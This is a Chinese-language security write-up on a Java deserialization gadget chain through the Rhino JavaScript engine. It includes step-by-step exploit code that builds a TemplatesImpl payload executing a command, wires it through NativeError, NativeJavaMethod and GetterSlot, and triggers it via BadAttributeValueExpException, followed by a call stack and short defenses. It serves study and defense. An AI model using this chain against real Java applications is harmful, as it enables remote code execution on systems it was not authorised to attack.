[Java安全]关于Rhino的一些姿势利用
字数 1668 2025-08-26 22:11:45
Rhino JavaScript引擎反序列化漏洞分析与利用
概述
Rhino是一个完全用Java编写的JavaScript开源实现,它允许Java调用JavaScript脚本,实现脚本语言与Java语言的数据交换。在某些使用与Ubuntu或Debian捆绑的OpenJDK环境中,可能存在相关的利用链。
漏洞背景
该漏洞利用链主要涉及Rhino JavaScript引擎中的几个关键类:
ScriptableObject:JavaScript对象的默认实现NativeError:JavaScript错误对象的Java实现NativeJavaObject:Java对象在JavaScript环境中的包装NativeJavaMethod:Java方法在JavaScript环境中的表示
关键类分析
ScriptableObject
ScriptableObject是Scriptable接口的默认实现,提供了定义JavaScript对象属性和方法的功能。关键点在于:
- 使用
slots属性(transient Slot[]数组)存储对象属性 Slot抽象类及其子类GetterSlot,后者包含getter/setter属性
NativeError
NativeError类继承自IdScriptableObject,实现了Serializable接口,关键点在其toString方法:
- 调用
js_toString方法 - 通过
getString方法获取对象的name和message属性 - 最终调用
ScriptableObject.getProperty获取属性值
属性获取流程
ScriptableObject.getProperty的调用链:
- 调用
Scriptable接口的get方法 - 最终调用
ScriptableObject#get方法 - 通过
getSlot获取对象的slot - 如果
slot是GetterSlot实例:- 获取
getter属性对象 - 如果是
MemberBox实例且delegateTo为null,反射调用时对象为Scriptable对象 - 如果是
Function实例,调用其call方法
- 获取
NativeJavaMethod
NativeJavaMethod实现了Function接口,将Java方法映射到JavaScript环境:
- 构造方法接收
MemberBox对象并存储在methods数组中 call方法通过findFunction获取方法索引- 最终反射调用Java方法
NativeJavaObject
NativeJavaObject实现了Scriptable和Wrapper接口:
unwrap方法返回javaObject属性值- 虽然
javaObject是transient的,但readObject方法会保存该值
漏洞利用链构造
1. 创建恶意TemplatesImpl对象
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates, "_name", "RoboTerh");
SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
2. 创建NativeJavaObject包装恶意对象
Context context = Context.enter();
NativeObject scriptableObject = (NativeObject)context.initStandardObjects();
NativeJavaObject nativeJavaObject = new NativeJavaObject(scriptableObject, tmpl, TemplatesImpl.class);
3. 创建NativeJavaMethod指定调用方法
Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "name");
4. 实例化NativeError作为入口
Class<?> nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
Constructor<?> nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
nativeErrorConstructor.setAccessible(true);
Scriptable nativeError = (Scriptable)nativeErrorConstructor.newInstance();
5. 设置prototypeObject和GetterSlot
// 设置prototypeObject
Field prototypeField = ScriptableObject.class.getDeclaredField("prototypeObject");
prototypeField.setAccessible(true);
prototypeField.set(nativeError, nativeJavaObject);
// 获取并设置GetterSlot
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
getSlot.setAccessible(true);
Object slotObject = getSlot.invoke(nativeError, "name", 0, 4);
// 设置getter
Class<?> getterSlotClass = Class.forName("org.mozilla.javascript.ScriptableObject$GetterSlot");
Field getterField = getterSlotClass.getDeclaredField("getter");
getterField.setAccessible(true);
getterField.set(slotObject, nativeJavaMethod);
6. 触发反序列化
BadAttributeValueExpException exception = new BadAttributeValueExpException("xxx");
Field valField = exception.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(exception, nativeError);
// 序列化和反序列化触发
ByteArrayOutputStream byteArrayOutputStream = SerializeUtil.writeObject(exception);
SerializeUtil.readObject(byteArrayOutputStream);
调用栈分析
exec: 347, Runtime (java.lang)
<clinit>:-1, Evil
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:161, MemberBox (org.mozilla.javascript)
call:247, NativeJavaMethod (org.mozilla.javascript)
getImpl:2024, ScriptableObject (org.mozilla.javascript)
get:287, ScriptableObject (org.mozilla.javascript)
get:387, IdScriptableObject (org.mozilla.javascript)
getProperty:1617, ScriptableObject (org.mozilla.javascript)
getString:198, NativeError (org.mozilla.javascript)
js_toString:150, NativeError (org.mozilla.javascript)
toString:110, NativeError (org.mozilla.javascript)
readObject:86, BadAttributeValueExpException (javax.management)
防御措施
- 更新Rhino到最新版本
- 对反序列化操作进行严格限制
- 使用安全管理器限制敏感操作
- 避免反序列化不受信任的数据
总结
该漏洞利用链通过Rhino JavaScript引擎中的对象属性访问机制,结合Java反序列化特性,实现了从NativeError.toString()到任意Java方法调用的完整利用链。关键在于:
- 利用
GetterSlot触发方法调用 - 通过
NativeJavaObject包装恶意对象 - 使用
NativeJavaMethod指定要调用的方法 - 通过反序列化入口触发整个调用链